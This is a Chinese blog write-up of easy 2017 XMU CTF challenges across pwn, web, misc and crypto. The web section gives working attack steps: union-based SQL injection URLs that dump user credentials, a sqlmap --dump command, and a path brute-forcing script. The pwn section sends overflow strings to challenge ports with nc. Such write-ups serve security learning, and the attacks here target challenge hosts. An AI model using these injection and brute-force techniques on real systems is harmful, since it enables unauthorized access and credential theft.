【wp】2017XMUCTF水题解答

|-----@PWN
|----------@under
|----------@Welcome flag0
|-----@WEB
|----------@Source Code
|----------@JS.RAR
|----------@Web机器人
|----------@Easy injection
|----------@Login
|-----@MISC
|----------@0w0
|----------@tail
|----------@WordSecret
|----------@keyborad
|-----@CRYPTO
|----------@颠倒
|----------@chaos
|----------@贝斯家族
|----------@morse
|----------@这都什么鬼
|----------@DECrypt
声明:因为水平有限,只能做做水题这样子。如有谬误,欢迎指出。如有它解,敬请留言。

PWN

under

```shell python -c "print 'a'*31" | nc pwnbox.target.com 17240 #在Linux终端执行以上代码 #python -c cmd : program passed in as string #即用来方便地执行仅有一个字符串的python程序 #'|'为重定向运算符,将其前面的运算结果作为其后面运算的输入 #nc — arbitrary TCP and UDP connections and listens #The nc (or netcat) utility is used for just about anything under the sun involving TCP, UDP, or UNIX-domain sockets. #pwn题大多用nc连接运行有漏洞服务并开启nc监听的远程机器,并传输数据。本题连接的是域名为pwnbox.target.com的主机的17240端口。 #以上命令意为用python生成长度为31的由'a'组成的字符串,然后用nc连接并发送该字符串到pwnbox.target.com的17240端口。 ``` 超过30个字符都可以

Welcome flag0

```shell $ python -c "print 'a'*40" | nc pwnbox.target.com 17012 Welcome to XMU CTF! What's your name? Hello! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Goodbye~ Stack smashed? ``` 字符串较长时提示`Stack smashed`,较少时则不会,可折半查找。长度为37,38,或39时可得到flag。

WEB

Source Code

右键查看源代码,大家都做出来了。

JS.RAR

文件无法解压,看看它到底是什么 ```shell $ file js.rar js.rar: ASCII text, with very long lines, with no line terminators ``` 发现并它不是rar文件,只是个字符串。用notepad++打开发现是jsf*ck的代码,放到chrome的console里运行,弹出flag。

Web机器人

根据提示访问http://targetDomain:25070/robots.txt 看到如下内容: > User-agent: * Disallow: /where_?s_f??g.txt Disallow: /lower_case_0r_Number Disallow: /tips:python requests

容易明白是要爆出三个问号所代表的字符,并且该字符是[0-9a-z]。显然最后应该是类似/where_is_flag.txt的东西,以下是python脚本:

import requests
import time
#where_1s_fl4g.txt
def trytry():
    pool='0123456789abcdefghijklmnopqrstuvwxyz'
    #pool='014lai'
    n=0
    jindu=''
    total=float(36**3)
    for x1 in pool:
        for x2 in pool:
            for x3 in pool:
                url='http://targetDomain:25070/where_'+x1+'s_f'+x2+x3+'g.txt'
                n+=1
                jindu+='#'
                if(n%80==0):
                	print jindu+str(n/total*100)+'%'
                	jindu=''
                try:
                	r=requests.get(url)
                	if r.status_code==200:
                		print url,"succeed"
                		return 0
                except Exception as e:
                	print url,"something wrong"

if __name__ == '__main__':
    trytry()

这个脚本是很慢的,换道题可能啥也跑不出来。所幸只要不把小写字母放前面的话这道题可以很快跑出来。其他方法的话可以用多线程实现,也可以用burp爆破,或者如果你很机智,可以用脚本里注释部分的pool:)

Easy injection

1. 确定注入点 * 首先访问给定链接`http://targetDomain/xmuctf/index.php?id=1`,返回正常 * 加单引号验证,访问`http://targetDomain/xmuctf/index.php?id=1'`,返回error,此处很大可能存在过滤不严 * 分别访问`http://targetDomain/xmuctf/index.php?id=1 and 1=1`和`http://targetDomain/xmuctf/index.php?id=1 and 1=2`,发现页面返回内容不同,判断存在基于布尔的盲注 2. 由于联合查询需要前后字段数一致,所以先确定字段数 从一个较大的可能字段数开始,折半查找,依次访问如下链接 * `http://targetDomain/xmuctf/index.php?id=1 order by 10`报错 * `http://targetDomain/xmuctf/index.php?id=1 order by 5`报错 * `http://targetDomain/xmuctf/index.php?id=1 order by 3`返回正常 * `http://targetDomain/xmuctf/index.php?id=1 order by 4`报错 由此得出该查询字段数为3。 3. 利用联合查询爆出用户名密码 `http://targetDomain/xmuctf/index.php?id=1 union select user,pwd,null from users` 查询密码哈希对应明文 前往`http://targetDomain/xmuctf/login.php`登陆即可在服务器基本信息中看到flag。 备注:还可使用sqlmap工具得到用户名密码。执行`python sqlmap.py -u "http://targetDomain/xmuctf/index.php?id=1" --dump`即可。

Login

题目提示只有登陆后才可以看的header-flag,故burp抓包,在请求头中添加`Login:1`名值对,在响应头中可以看到flag。

MISC

0w0

用`$binwalk -e 0w0.jpg`提取出包含的文件,名为flag的压缩包里就有flag。

tail

flag一半在图片属性里,一半在文件尾,连起来后再做一次rot13变换即得到flag。

WordSecret

出题人感到很无语,用notepad++直接打开即能看到隐藏的flag。

keyborad

来自chybeta大神的脑洞题,ctforz...

CRYPTO

颠倒

签到,没什么好说

chaos

1. hex->ascii:`c3ludHtWWXZ4M0taSF9+WjR4M2ZaclU0Y2M3fQ==` 2. base64_decode:`synt{VYvx3KZH_~Z4x3fZrU4cc7}` 3. rot13:`flag{ILik3XMU_~M4k3sMeH4pp7}`

贝斯家族

base64,base32,base16按顺序来一遍

morse

摩斯密码解密后是一个混入奇怪东西的md5串,把其中的`I`换成`1`后md5解密即可。

这都什么鬼

已知私钥和密文,用openssl解密即可

DECrypt

把用`808`分隔开的十进制数分别转成对应的ascii码即是flag内容。 ```python import sys pad='808' s='71808111808111808100808958081068081118089880895808121808111808117808958081038081118081168089580810580811680833808'; print ''.join(chr(int(x))for x in s.strip(pad).split(pad)) ```
posted @ 2017-05-21 08:26  findneo  阅读(886)  评论(0编辑  收藏  举报